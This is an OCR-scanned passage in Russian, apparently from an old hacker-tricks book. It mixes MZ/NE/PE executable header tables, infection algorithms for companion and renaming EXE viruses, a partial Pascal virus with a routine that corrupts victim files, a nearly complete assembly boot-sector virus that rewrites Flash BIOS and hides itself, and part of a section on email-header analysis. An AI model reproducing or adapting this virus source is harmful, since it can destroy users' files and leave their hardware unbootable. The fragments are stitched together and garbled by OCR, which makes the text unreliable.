Число байт в таблице нерезидентного имени i

+22h

Относительное смещение начала таблицы сегментов от начала нового
заголовка

+24h

Относительное смещение начала таблицы ресурсов от начала нового
заголовка

+26h

Относительное смещение начала таблицы резидентного имени от начала
нового заголовка
<
Таблица А-3. Формат NE-заголовка. (Окончание)



Смещ.


Описание


+28h


Относительное смещение начала таблицы ссылок на модули от начала

нового заголовка


+2Ah


Относительное смещение начала таблицы импортируемых имен от начала

нового заголовка


+2Ch


Относительное смещение начала таблицы нерезидентных имен от начала

файла


+30h


Число перемещаемых точек входа^-


+32h


Множитель смещении. Используется при размещении логических секторов.

Выражается степенью логарифма по основанию 2.

По умолчанию равен 9 (512)


+34h


Число ресурсных сегментов


+36h


Флаги, определяющие рабочую операционную систему


Бит 0


Неизвестная


Бит1


OS/2


Бит 2


Microsoft Windows


БитЗ


Зарезервировано


Бит 4


Зарезервировано


+37h


Дополнительные флаги


Бит1


Программа для Windows 2.x. Может быть запущена в защищенном

режиме версии З.х


Бит 2


Программа для 2.x. Может использовать пропорциональные

шрифты


БитЗ


В файле содержится область быстрой загрузки


+38h


Указатель начала области быстрой загрузки (используется только Windows)


+3Ah


Длина области быстрой загрузки (используется только Windows)


+3Ch


Зарезервировано '


+3Eh


Версия Windows (используется только Windows)
Таблица А-4. Формат таблицы сегментов.



Смещ.


Описание


+00h


Смещение логического сектора (в байтах)относительно начала файла. При

отсутствии сегмента данных равно нулю


+02h


Длина сегмента в файле. Если значение 0, то смещение 64 Кбайт


+04h


Флаги




Бит 0


Сегмент данных, иначе сегмент кода




Бит 1


В загрузчике имеется память, отведенная для сегмента




Бит 2


Сегмент загружен




БитЗ


Зарезервировано


Бит 4


MOVEABLE сегмент, иначе - FIXED


БитЗ


Сегмент PURE или SHAREABLE, иначе - IMPURE или

NONSHAREABLE


Бит 6


PRELOAD сегмент, иначе - LOADONCALL


Бит?


Для сегмента кода - EXECUTEONLY, для сегмента данных -

READONLY


Бит 8


В сегменте содержатся перемещаемые данные


Бит 9


Подстраивающийся сегмент


Биты 10,11


Зарезервировано


Бит 12


Сбрасываемый (discardable) сегмент


Биты 13-15


Зарезервировано


+06h


Минимальный объем (в байтах), необходимый для размещения сегмента

(0 соответствует 64Кбайт)
<


Таблица А-5. Формат таблицы ресурсов.

Смещ. Описание
+00h Единица смещения данных ресурса
+02h Тип ресурса. Если установлен старший бит, то это один из типов ресурсов,

описанных в Windows.h, иначе это смещение относительно начала таблицы

ресурсов строки, указывающей тип ресурса. Тип ресурса 0 указывает на

конец записей ресурсов
+04h Число ресурсов данного типа
+06h Зарезервировано
+OAh Смещение данных ресурса относительно начала файла в единицах,

указанных в начале таблицы ресурсов
Таблица А-5. Формат таблицы ресурсов. (Окончание)
Смещ. Описание
+OCh Длина ресурса (в байтах)
+OEh Флаги
Бит 4 MOVEABLE
Бит 5 PURE - возможность совместного использования
Бит 6 PRELOAD - предварительно загружаемый
+10h Определяет (если старший бит равен единице) или указывает на ID ресурса

смещение относительно начала таблицы ресурсов
+12h Зарезервировано
+16h Длина или имя типа. Ноль находится в конце таблицы ресурсов
+17h Определяет тип ресурса или текст имени. В имени различаются кейсы
Таблица А-6. Таблица входов перемещаемого сегмента.
Смещ. Описание
+00h Флаги
Бит 0 Экспортируемый вход
Бит1 Сегмент совместно использует глобальный сегмент данных
Биты 3-7 Если в ЕХЕ-файле содержится код, выполняющий кольцевые

переходы, то это - число слов, составляющих стек. Во время

кольцевых переходов эти слова должны копироваться из одного

кольца в другое
+01h Инструкция INT 3Fh
+03h Номер сегмента
Таблица А-7. Таблица входов фиксированного сегмента.

Смещ. Описание
+00h Флаги
Бит 0 Экспортируемый вход '
Бит1 Сегмент совместно использует глобальный сегмент данных
Биты 3-7 Если в ЁХЕ-файле содержится код, выполняющий кольцевые

переходы, то это - число слов, составляющих стек. Во время

кольцевых переходов эти слова должны копироваться из одного

кольца в другое
+01h Смещение сегмента
- таблица импортируемых имен;

- таблица входов (Таблицы А-6 и А-7);

- таблица нерезидентных имен.

В заголовке нового стиля содержится вся информация, необходимая

для сегментированного исполняемого файла - заголовки таблицы сег-

ментов, ресурсов и имен.

Сразу за заголовком находится таблица сегментов. В ней содержится

описание каждого сегмента исполняемого файла.

Формат заголовка PE-executable EXE-файла


В состав старого заголовка входят:
- обычный ЕХЕ-заголовок (Таблица А-8);
- зарезервированная часть;
Таблица А-8. Формат обычного ЕХЕ-заголовка в PE-executable ЕХЕ-файле.


Смещ.

Описание

+00h

DOS-заголовок

+20h

Резерв

+3Ch

Смещение начала РЕ-заголовка

+40h

DOS-программа (STUB)

Таблица А-9. Формат РЕ-заголовка.


—————г
Смещ.

— — — - — — — 1— — — — —•— —-—!—————————1
Описание

+00h

РЕ' • Сигнатура

+04h

Тип процессора:
OOOh - неизвестный тип
14Ch - 80386
14Dh - 80486
14Eh - 80586

+06h

Количество входов в таблице объектов

+08h

Время и дата создания или модификации файла линкером

+OCh

Зарезервировано

+14h

Количество необходимых байт в NT-заголовке

+16h

Флаги:
OOOOh - программные данные
0002h - запускаемый код (если этот бит не включен, значит во время
линковки произошли ошибки)
0200h - если код не может быть загружен с базы кода, то его не надо
загружать
2000h - библиотечные данные

+18h

Зарезервировано

+lAh

Версия и подверсия линковщика, создавшего данный файл

+lCh

Зарезервировано

+28h

Виртуальный адрес точки входа или процедуры инициализации
библиотеки

+2Ch

Зарезервировано

+34h

Смещение первого файла данных в файле

+38h

Выравнивание объектов. Содержит величину степени 2 числа, на которое
должны быть выровнены объекты. Число может быть в диапазоне между
512 и 256 Мбайт. По умолчанию - 64 Кбайт

+3Ch

Выравнивание файла. Содержит величину степени 2 числа, на которое
должны быть выровнены страницы. Число может быть в диапазоне между
512 и 64 Кбайт

+40h

Номера версии и подверсии операционной системы, необходимой для
запуска данной программы

+44h

Номера пользовательской версии и подверсии. Устанавливаются во время

Таблица А-9. Формат РЕ-эаголовка. (Продолжение)


Смещ.

Описание

+48h

Номера версии и подверсии подсистемы NT, необходимой для запуска
данной программы

+4Ch

Зарезервировано

+50h

Виртуальный размер данных программы (в байтах)

+54h

Полный размер заголовка (в байтах), включая DOS-заголовок (старый),
РЕ-заголовок и таблицу объектов

+58h

Контрольная сумма файла для запуска.
Устанавливается линковщиком в ноль

+5Ch

NT подсистема, необходимая для запуска данной программы:
OOOOh - неизвестная
0002h - графический интерфейс Windows
ОООЗЬ - консоль Windows
0005h - консоль OS/2
0007h - консоль Posix

+5Eh

Флаги DLL:
000 lh - процесс инициализации библиотеки
0002h - процесс завершения библиотеки
0004h - поток инициализации библиотеки
OOOSh - поток завершения библиотеки

+60h

Размер стека, необходимый программе

+64h

Обязательный размер стека

+68h

Размер локальной кучи, резервируемый для программы

+6Ch

Обязательный размер локальной кучи

+70h

Зарезервировано

+74h

Размер массива смещений/размеров, расположенного ниже

+78h

Смещение таблицы экспорта. Смещение отсчитывается от значения поля
34h (смещение первого байта данных в файле)

+7Ch

Полный размер таблицы экспорта

+80h

Смещение таблицы импорта. Смещение отсчитывается от значения
поля 34h (смещение первого байта данных в файле)

+84h

Полный размер таблицы импорта

+88h

Смещение таблицы ресурсов. Смещение отсчитывается от значения поля
34h (смещение первого байта данных в файле)

+8Ch

Полный размер таблицы ресурсов
<
Таблица А-9. Формат РЕ-заголовка. /Окончание)

- указатель на РЕ-заголовок (если в ЕХЕ-заголовке в начале таблицы

перемещаемых элементов - по смещению 18h - стоит 40h или боль-

ше, то слово, расположенное по смещению 3Ch, содержит смещение

начала РЕ-заголовка);

- DOS-программа (STUB).

В состав нового заголовка входят:

- РЕ-заголовок (Таблица А-9);

- таблица объектов (Таблица А-10);

- таблицы ресурсов, импортируемых и экспортируемых имен, на-

стройки адресов.

Таблица А-10. Формат таблицы объектов.



Смещ.


Описание


+00h


Имя объекта в формате ASCII, дополненное до восьми байт нулями


+08h


Виртуальный размер объекта. Размер памяти, который необходимо

выделить перед загрузкой объекта


+OCh


Смещение объекта в файле. Смещение отсчитывается от значения поля

34h в РЕ-заголовке (смещение первого байта данных в файле)


+10h


Физический размер инициализированных данных объекта.


+14h


Физическое смещение первой страницы объекта в файле. Смещение

отсчитывается от начала ЕХЕ-файла


+18h


Зарезервировано


+24h


Флаги объекта:

00000020h - объект кода

00000040h - объект инициализированных данных

OOOOOOSOh - объект неинициализированных данных

04000000h - объект не должен быть кеширован

OSOOOOOOh - объект не должен быть разбит на страницы

lOOOOOOOh - объект общего доступа

20000000h - выполняемый объект

40000000h - читаемый объект

SOOOOOOOh - записываемый объект

Форматы заголовков ЕХЕ-файлов Формат заголовка обычного ЕХЕ-файла


Таблица А-1. Формат заголовка обычного ЕХЕ-файла.


Смещ.

Описание

+00h

Signature - сигнатура ЕХЕ-файла ('MZ'). Инициалы Марка Збиковски,
одного из разработчиков MS-DOS.

+02h

PartPag - длина последней станицы

+04h

PageCnt - длина файла в страницах (по 512 байт)

+06h

ReloCnt - число элементов в таблице настройки адресов

+08h

HdrSize - длина заголовка в параграфах (по 16 байт)

+OAh

MinMem - минимальный объем памяти, которую нужно выделить после
загруженного модуля (в параграфах)

+OCh

MaxMem - максимальный объем памяти, которую нужно выделить после
загруженного модуля (в параграфах)

+OEh

ReloSS - сегментное смещение сегмента стека (для установки SS)

+10h

ExeSP - значение SP, устанавливаемое при входе

+12h

ChkSum - контрольная сумма

+14h

ExelP - значение IP, устанавливаемое при входе (стартовый адрес)

+16h

ReloCS - сегментное смещение сегмента кода (для установки CS)

+18h

TablOff - смещение в файле первого элемента таблицы настройки адресов
(часто ICh)

+lAh

Overlay - номер оверлея (0 - для корневого модуля)

В начале ЕХЕ-файла расположена форматированная часть заголовка
ЕХЕ-файла (Таблица А-1).
Далее следует таблица настройки адресов (Relocation Table), состоящая
из длинных указателей (смещение:сегмент) на те слова в загрузочном
модуле, которые содержат настраиваемые сегментные адреса. Примеча-
ние: элементы таблицы настройки могут быть расположены не по
порядку.

ХАКЕРСКИЕ ШТУЧКИ, ИЛИ КАК ОНИ ЭТО ДЕЛАЮТ

В этой главе раскрыты неко-
торые "хитрости": регист-
рация под вымышленным
именем, обход различных
"подводных камней" (АОН,
авторизирующиеся програм-
мы, клавиатурные шпионы,
ПЭМИН). Особое внимание
уделено вопросам работы
с электронной почтой - вы-
яснению реального отправи-
теля сообщения, отправле-
нию анонимных сообщений,
выбору второго почтового
адреса.

Идентификация пользователя по E-mail


Да, действительно, а зачем устанавливать личность по известному адре-
су электронной почты?
А зачем устанавливают автоматический определитель номера (АОН)?
А зачем существует база данных, в которой по телефону можно опреде-
лить имя и адрес человека? Причин много, начиная от чистого развле-
чения (кто не хочет поиграть в Пинкертона?), и заканчивая желанием
выяснить, кто это с адресом someone@oxford.edu поздравляет вас каж-
дый год с днем рождения и признается в любви. Кроме того, поняв ме-
тодики поиска информации, становится ясно, насколько уязвима ано-
нимность такого отправителя в сети. Заметим сразу, что способы
выяснения личности по известному адресу e-mail весьма разнообразны,
причем ни один из них не гарантирует успеха. Обратная задача решает-
ся довольно тривиально: множество E-mail directories (Fourll,
WhoWhere) позволяют найти по имени человека его адрес (если, конеч-
но, он сам того захотел). Рассмотрим задачу нетривиальную.

Инфицирование методом переименования ЕХЕ-файла


Отличий в алгоритмах работы этих вирусов и их "коллег", создающих
файл-спутник, не так уж много. Но, по всей видимости, заражение ме-
тодом переименования несколько совершеннее - для излечения от ви-
руса нужно не просто удалить СОМ-файл с кодом вируса, а немного
помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-
рованной программой.
1. Если в командной строке указаны параметры, сохранить их в пере-
менную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
лом-жертвой файл с таким же именем и с расширением, которое
выбрано для инфицированной программы (например, OVL - про-
граммный оверлей).
4. Если такой файл присутствует, программа уже инфицирована - пе-
реходим к пункту 7.
5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име-
нем, но с расширением, выбранным для инфицированной программы.
6. С помощью командного процессора скопировать файл, из которого по-
лучено управление, в файл с именем жертвы и расширением жертвы.
7. Найти в каталоге, из которого получено управление, файл с именем
стартовой программы, но с расширением, выбранным для инфици-
рованной - это и будет зараженная программа, которую в данный
момент необходимо запустить на исполнение.
8. Если такой файл не найден, переходим к пункту 12.
9. Изменить расширение найденного файла на СОМ (ни в коем случае не
на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!).
10. Процедурой Ехес загрузить и выполнить переименованный файл -
то есть выполнить инфицированную программу.
11. Вернуть СОМ-файлу с инфицированной программой выбранное
расширение, то есть превратить его опять в неисполняемый.
12. Вернуть управление в DOS.
Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider
написан очень просто и доступно. За сеанс работы он заражает один
ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма
прост: файл-жертва переписывается в файл с расширением OVL (овер-

лейный файл), а на его место с помощью командного процессора копи-

руется вирусный код. При запуске происходит заражение только что

найденного ЕХЕ-файла, затем вирусный код переименовывается

в OWL, a OVL - в ЕХЕ, после чего оригинал запускается на исполне-

ние. Когда оригинал отработал, происходит переименование в обратном

порядке. С защищенного от записи диска программа не запустится, она

выдаст сообщение, что диск защищен от записи.

В представленном здесь виде вирус легко обезвредить, достаточно про-

сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле-

чение, в вирусе может быть использован такой прием:

procedure MakeNot;

Var

Buf10: Array [1.10] of Byte;

Cicle: Byte;

begin

Seek(Prog, 0);

Reset(Prog);

BlockRead(Prog, Buf10, 10);

For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];

Seek(Prog, 0);

BlockWrite(Prog, Buf10, 10);

Close(Prog);

end;

При использовании этой процедуры надо учитывать, что заражаемая

и запускаемая на исполнение программа должна быть связана с пере-

менной Prog типа File, описанной в основном модуле. Суть процедуры

состоит в том, что из заражаемой программы считываются 10 байт и ко-

дируются операцией Not. ЕХЕ-программа становится неработоспособ-

ной. Запускать эту процедуру нужно не только перед прогоном ориги-

нала, но и после него.

{ Name Rider }

{ Version 1.0 }

{ Stealth No }

{ Tsr No }

{ Danger 0 }

{ Attac speed Slow }

{ Effects No }

{ Length 4000 }

{ Language Pascal }

{ BodyStatus Packed }

{ Packer Pklite }

($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,

High Heap Limit Ob }

{Используются модули DOS и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses DOS;

Const

Fail='Cannot execute '^13#10'Disk is write-protected';

{Расширения файлов, которые будем использовать}

Ovr='.OWL';

Ovl='.OVL';

Ехе=.ЕХЕ';

Var

Dirlnfo : SearchRec;

Sr : SearchRec;

Ch : Char;

I : Byte;

OurName : PathStr;

OurProg : PathStr;

Ren : File;

CmdLine : ComStr;

Victim : PathStr;

VictimName : PathStr;

(Процедура для проверки диска на Read Only)

procedure CheckRO;

begin

Assign(Ren, #$FF);

ReWrite(Ren);

Erase(Ren);

If lOResult

Инфицирование методом создания СОМ-файла спутника


Смысл этого метода - не трогая "чужого кота" (ЕХЕ-программу), со-
здать "своего" - СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо-
ты такого вируса предельно прост, так как отпадает необходимость
лишних действий (например, сохранения в теле вируса длины откомпи-
лированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела
вируса, запуска файла, из которого вирус получил управление). Неза-
чем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1. Если в командной строке указаны параметры, сохранить их в пере-
менную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
лом СОМ-файл с таким же именем, как у файла-жертвы.
4. Если такой СОМ-файл присутствует, файл уже заражен, переходим
к пункту 6.
5. С помощью командного процессора скопировать файл, из которого
получено управление, в файл с именем жертвы и расширением СОМ.
6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но
с расширением ЕХЕ - то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.

Инструментарий


Для изучения макро-вирусов понадобится некоторое программное обес-
печение. В качестве "полигона" необходим MS-WORD версии 6.0 или
выше. Для изучения зашифрованных макросов может пригодиться диз-
ассемблер макросов (автор AURODREPH из VBB). Для более полного
понимания всего изложенного ниже желательно иметь базовые знания
о WORD BASIC.
Чтобы обезопасить рабочие файлы от плодов экспериментов, настоя-
тельно рекомендуется создать резервную копию шаблона
NORMAL.DOT в каталоге WINWORD6\TEMPLATE, так как именно
этот документ обычно заражается макро-вирусом. Когда все готово, са-
мое время перейти к основам макро-вирусов.

Исходный текст вируса, заражающего Flash BIOS.

;Вирус, заражающий Flash BIOS.
;Если на компьютере есть Flash BIOS, имеется шанс, что его могут
.серьезно испортить. Если BIOS изменится, это может привести
;к неприятностям. Нельзя будет загрузиться даже с "чистой"
;дискеты. Зараженный чип в рабочее состояние не вернуть.
огд О
;При входе в boot-сектор 01=загрузочный диск
mov si,7COOh
[Установим OOOOh в регистрах DS и ES
хог ах,ах
mov es.ax
mov ds.ax
.Установим значение стека OOOOh:7COOh
cli
mov ss.ax
mov sp.si
sti
;Уменьшим на 1Кбайт память (0040h:0013h)
dec word ptr [0413h]
;Получим размер памяти (при возврате в АХ)
int 12h
;Так как размер памяти указан в килобайтах (1024 байт), а нужно
;в параграфах (16 байт), умножим его на 64, что эквивалентно
;сдвигу на 6 разрядов влево
mov cl,6
shi ax.cl
.Установим новый сегмент вируса (вершина памяти)
mov es,ax
.Перенесем вирусный сектор в вершину памяти
xor di,di
mov cx,200h
eld
rep movsb
;Сохраним вектор прерывания INT 13h. Поскольку этот вирус
[загрузился до загрузки DOS, то прерывание INT 21 h еще не
работает - работаем с вектором прерывания прямо в таблице
mov ax.word ptr [13h*4]
mov word ptr es: [off set i13],ax
mov ax.word ptr [13h*4+2]
mov word ptr es: [offset i 13+2],ax
.Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es
[Переходим в точку ES:Restart (в копии вируса,
[находящейся в вершине памяти)
already_resident:
push es
mov ax,offset Restart
push ax
retf
;C этого места программа работает уже в вершине памяти
Restart:
[Загружаем оригинальный boot-сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
.функцию ООп прерывания INT 13h)
xor ах.ах
call int13h
[Подготовим регистры для загрузки оригинального boot-сектора
хог ах.ах
mov es,ax ;Сегмент для загрузки
mov bx,7COOh ;Смещение для загрузки
mov cx,0002h Дорожка 0, сектор 2
хог dh.dh ;Головка О
mov ax,0201h ;Функция 2, количество секторов 1

[Проверим диск, с которого грузимся. 80h и выше - жесткий диск,

;иначе - дискета. Копия оригинального boot-сектора хранится

; в разных местах: на жестком диске - дорожка 0, головка 0, сектор 2;

;на дискете - дорожка 0, головка 1, сектор 14

cmp dl,80h

jae MBR_Loader

;Грузимся с дискеты: изменим сектор и головку

mov с1,14 ;Сектор 14

mov dh,1 ;Головка 1

;3агрузим оригинальный boot-сектор по адресу OOOOh:7COOh

MBRJ-oader:

call int13h

.Сохраним в стеке номер диска, с которого грузимся

push dx

Проверим, заражен ли Flash BIOS

cmp byte ptr cs:flash_done,1

je Flash_resident

;3аразим Flash BIOS

call flash_BIOS

.Восстановим из стека DX (номер загрузочного диска)

Flash_resident:

pop dx

;3апускаем оригинальный boot-сектор (JMP FAR OOOOh:7COOh)

db OEAh

dw 7COOh

dw 0

;Сюда попадаем, когда происходит чтение boot-сектора. Скрываем

[Присутствие вируса методом чтения оригинального boot-сектора

Stealth:

Остановим значения сектора, где хранится копия оригинального

iboot-сектора

mov cx,02h

mov ax,0201h

[Проверим, откуда считан boot-сектор (дискета или жесткий диск),

;так как копии хранятся в разных местах

cmp dl,80h

jae hd_stealth

mov cl,14

mov dh,1

hd_stealth:

Прочтем копию оригинального boot-сектора. Так как

;номера секторов подменены, фактически "копия выдается

;за оригинал" - скрываем свое присутствие (Stealth).

call int13h

[Выходим из обработчика прерывания

jmp pop_exit

;Проверка наличия резидентного вируса - ответим:

;запрос INT 13h (AX=ABBAh), ответ AX=BMBh

resJest:

xchg ah,al

iret

.Обработчик прерывания INT 13h

Handler:

.Если при вызове в АХ находится ABBAh,

.значит это проверка наличия резидентного вируса

cmp ax.OABBAh

je resJest

[Перехватываем только функцию 02h (чтение сектора): проверяем

;номер функции. Если не 2, запускаем оригинальный обработчик

cmp ah,2

jne jend

[Проверяем номера дорожки и сектора, интересуясь только теми

.секторами, в которых может оказаться вирус -

;дорожка 0, головка 0, сектор 1

cmp cx,1


jne jend

[ Проверим номер головки. Если не 0, то запустим

[Оригинальный обработчик

cmp dh,0

jne jend

tryJnfect:

;Считаем сектор в буфер (для дальнейшей обработки).

;Для этого вызовем оригинальный INT 13h

call int13h

jc jend

[Сохраним регистры и флаги (обработчик не должен изменить их)

pushf

push ax

push bx

push ex

push dx

push si

push di

push es

push ds

Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.

;Если диск заражен, скрываем присутствие вируса

cmp word ptr es:[bx+offset marker],"LV"

je stealth

;Если диск не заражен, то заражаем: проверим, откуда загружен

;boot-ceKTOp (с дискеты или с жесткого диска)

cmp dl,80h

jb infect_floppy

.Установим номера дорожки, головки и сектора для жесткого

.диска для сохранения оригинального boot-сектора

mov cx,2

xor dh.dh

jmp write_virus

lnfect_Floppy:

;Установим номера дорожки, головки и сектора для дискеты

;для сохранения оригинального boot-сектора

mov сх,14

mov dh,1

Write_Virus:

Записываем оригинальный boot-сектор

mov ax,0301h

call int-lSh

jc pop_exit

;Установим сегментный регистр ES на сегмент с вирусом

push cs

pop es

;Сбросим флаг зараженности Flash BIOS

mov byte ptr cs:flash_done,0

;3апишем тело вируса в boot-сектор

xor bx,bx

mov ax,0301h

mov cx,0001h

xor dh.dh

call int13h

восстановим регистры и флаги (как раз те их значения, которые

[свидетельствует о том, что boot-сектор только что считали)

Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop ex

pop bx

pop ax

popf

[Выходим из обработчика в вызывающую программу

retf 2

;3апуск оригинального обработчика

J'end:

DD OEAh .Код команды JMP FAR

;0ригинальный вектор INT13h

i13 DD 0

;Вызов прерывания INT 13h

lnt13h proc near

pushf

call dword ptr cs:[i13]

ret

lnt13h endp

Первые два байта слова используются как сигнатура

Marker db "VLAD"

;Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

Проверим наличие Flash BIOS

mov ax.OEOOOh

int 16h

jc no_flash_bios

cmp al.OFAh

jne no_flash_bios

; Сначала найдем хорошее место для хранения вируса.

Лросканируем память FOOOh-FFFFh, где обычно находится BIOS,

;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

;но выделить нужно с запасом

lnfect_Flash:

Остановим начальный сегмент для поиска

mov ax.OFOOOh

mov ds.ax

Проверим сегмент

New_segment:

Остановим стартовое смещение

xor si,si

Остановим счетчик найденных байт

;(величина свободного места для вируса)

xor dx.dx

ok_new_segment:

;Перейдем к следующему сегменту

inc ax

mov ds,ax

Проверим, есть ли еще место для вируса

cmp ax.OFFFOh

je no_flash_BIOS

;Проверим, свободно ли место (для скорости проверяем словами)

Test-16:

cmp word ptr [si],0

jne new_segment

;Увеличим счетчик размера найденного свободного места

• inc dx

Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт, но

;так как память сканируем словами, сравниваем с 512 (1Кбайт=512 слов)

cmp dx,512

je found_storage

[Увеличим смещение проверяемого байта

inc si

inc si

;Сравним с 16. Переходим к следующему сегменту

;в начале каждого параграфа

cmp si,16

je ok_new_segment

jmp test16

;B эту точку попадаем, если место найдено

Found_storage:

Перейдем к началу зоны

sub ax,40h

mov ds.ax

.Получим требования к сохранению состояния чипа

mov ax,OE001h

int 16h

;Проверим, сколько памяти необходимо для сохранения состояния

;чипа. Если слишком много, не будем сохранять состояние

cmp bx,512

jbe save_chipset

;Установим флаг, показывающий, что состояние не сохраняли

mov byte ptr cs:chipset,1

[Перейдем к записи

jmp write_enable

;Сюда попадаем, если Flash BIOS не обнаружен:

записывать некуда - выходим

No_Flash_BIOS:

ret

[Сохраним состояние чипа

save_chipset:

[Установим флаг, показывающий, что состояние сохранили

mov byte ptr cs:chipset,0

.Сохраним состояние

mov al,2

push cs

pop es

mov di, offset buffer

int 16h

[Записываемся во Flash BIOS

write_enable:

[Повышаем напряжение

mov al,5

int 16h

;Разрешаем запись во Flash BIOS

mov al,7

int 16h

. Копируем 512 байт вируса во Flash BIOS

push ds

pop es

xor di.di

mov ex,512

push cs

pop ds

xor si,si

eld

rep movsb

;3десь нужна особая осторожность. lnt19h указывает на BIOS,

;позднее оно перехватывается различными программами.

.Если трассировать его, можно наткнуться на закрытую область

;или на сегмент 70h, но этого не будет при загрузке. Понятно,

;что это единственное удачное время для выполнения вируса.

;Все, что нужно - "внедриться" в int19h.

;Можно перехватить его в том месте, где находится

сохраненная таблица векторов, но сделаем интереснее.

.Получим смещение оригинального обработчика int19h

mov bx.es ;ВХ=сегмент вируса

xor ах.ах

mov ds.ax ;DS=Ta6nHua векторов

mov di.word ptr [19h*4] ;Смещение INT 19h

mov es.word ptr [19h*4+2] ;Сегмент INT 19h

;3апишем JMP FAR по адресу точки входа в INT 19h

mov al.OEAh

stosb

mov ax,offset int19handler

stosw

mov ax.bx

stosw

.Понизим напряжение

mov ax,OE004h

int 16h

;3ащитим Flash BIOS от записи

mov al,6

int 16h

;Проверим, сохранялось ли состояние чипа, если нет - выходим

cmp byte ptr cs:chipset,0

jne No_Flash_BIOS

.Восстановим состояние чипа

push cs

pop es

mov al,3

mov di, offset buffer

int 16h

jmp No_Flash_BIOS

;Флаг несохранения состояния чипа

chipset db 0

;Флаг присутствия вируса во Flash BIOS

flash_done db 0

;Наш обработчик INT 19h.

lnt19Handler Proc Near

;Установим сегментный регистр ES в ноль

хог ах.ах

mov es.ax

[Проверим наличие резидентного вируса

mov ax.OABBAh

int 13h

;Если вирус присутствует, то запускаем оригинальный

[обработчик прерывания INT 19h

cmp ax.OBAABh

jne realJnt19h

[Перенесем вирус из BIOS в boot-буфер

push cs

pop ds

eld

xor si,si

mov di,7c00h

mov ex,512

rep movsb

;3апустим вирус в boot-буфере

mov dl,80h

jmp goto_Buffer

Real_int19h:

;Произведем сброс дисковой подсистемы

xor ax,ax

int 13h

Лроинициализируем значения регистров для загрузки boot-сектора

mov ex, 1

mov dh,0

mov ax,0201h

mov bx,7COOh

.Проверим, откуда грузимся: если DL не нулевой,

;переходим к загрузке с жесткого диска

cmp dl,0

J'a hd_int19h

;Прочтем boot-сектор с дискеты. Если при чтении происходит

;ошибка, то читаем с жесткого диска

int 13h

jc fix_hd

Остановим флаг, показывающий присутствие вируса во Flash BIOS

Goto_Buffer:

mov byte ptr es:[7COOh+offset flash_done],1

;3апустим boot-сектор, находящийся в boot-буфере

db OEAh ;Код команды JMP FAR

dw 7c00h

dw 0

Fix_HD:

[Установим номер диска для загрузки (диск С)

mov dl,80h

HD_lnt19h:

Произведем сброс дисковой подсистемы

хог ах,ах

int 13h

.Прочтем boot-сектор

mov ax,0201h

int 13h

jc Boot

jmp Goto_Buffer

;Если не удалось загрузить boot-сектор,

.вызываем прерывание INT 18h

Boot:

int 18h

lnt19Handler EndP

Flash_BIOS EndP

End_Virus:

;Размер области памяти, необходимый для дополнения

;размера вируса до 510 байт

DupSize equ 510-offset End_Virus

Заполнение незанятой вирусом части сектора

db DupSize dup (0)

db 55h,0aah

;Место для сохранения состояния чипа

Buffer:

Электронная почта Получение E-mail


Иногда у пользователя возникает ситуация, когда хотелось бы выявить
реального автора полученного сообщения. Например, получено сообще-
ние от вашей жены, в котором она пишет, что уходит к другому. Вы
можете либо вздохнуть с облегчением, выпить на радостях рюмку-дру-
гую и отправиться с друзьями на дачу праздновать это событие, либо
попытаться выяснить, не является ли это чьей-то шуткой.
Ваши друзья могли легко изменить поле From в отправленном сообще-
нии, поставив туда вместо своего обратного адреса хорошо известный
вам адрес вашей жены, например masha@flash.net. Как это делается,
можно прочесть в разделе "Отправление e-mail". Так что стоящая перед
нами задача сводится к следующему: определить, соответствует ли ука-
занный адрес отправителя адресу, с которого в действительности было
отправлено сообщение.
Итак, каждое электронное сообщение содержит заголовок (header), ко-
торый содержит служебную информацию о дате отправления сообще-
ния, названии почтовой программы, IP-адресе машины, с которой было
отправлено сообщение, и так далее. Большинство почтовых программ
по умолчанию не отражают эту информацию, но ее всегда можно уви-
деть, открыв с помощью любого текстового редактора файл, содержа-
щий входящую почту, или используя функцию почтовой программы,
позволяющую просматривать служебные заголовки (как правило, она
называется Show all headers). Что же видим?
Received: by geocities.com (8.8.5/8.8.5) with ESMTP id JAA16952
for ; Tue, 18 Nov 1997 09:37:40 -0800 (PST)
Received: from masha.flash.net (really [209.30.69.99])
by endeavor.flash.net (8.8.7/8.8.5) with SMTP-id LAA20454
for ; Tue, 18 Nov 1997 11:37:38 -0600 (CST)
Message-ID: <3471 D27E.69A9@flash.net>
Date: Tue, 18 Nov 1997 11:38:07 -0600
From: masha@flash.net
X-Mailer: Mozilla 3.02 (Win95; U)
MIME-Version: 1.0
To: petya@geocities.com
Subject: I don't love you any more, you *&$%# !!!!
Да, много всякого. Не вдаваясь в технические подробности, в общих
чертах: заголовки Received сообщают путь, который прошло сообщение

в процессе пересылки по сети. Имена машин (geocities.com,

endeavor.flash.net) указывают на то, что сообщение, скорее всего, при-

шло к вам в geocities.com из домена вашей жены flash.net. Если имена

машин не имеют ничего общего с flash.net (например, mailrelay.tiac.net),

это повод задуматься о подлинности сообщения. Но самая главная стро-

ка для нас - последняя из строк, начинающихся со слова Received:

Received: from masha.flash.net (really [209.30.69.99])

Она отражает имя машины (masha.flash.net) и уникальный IP-адрес,

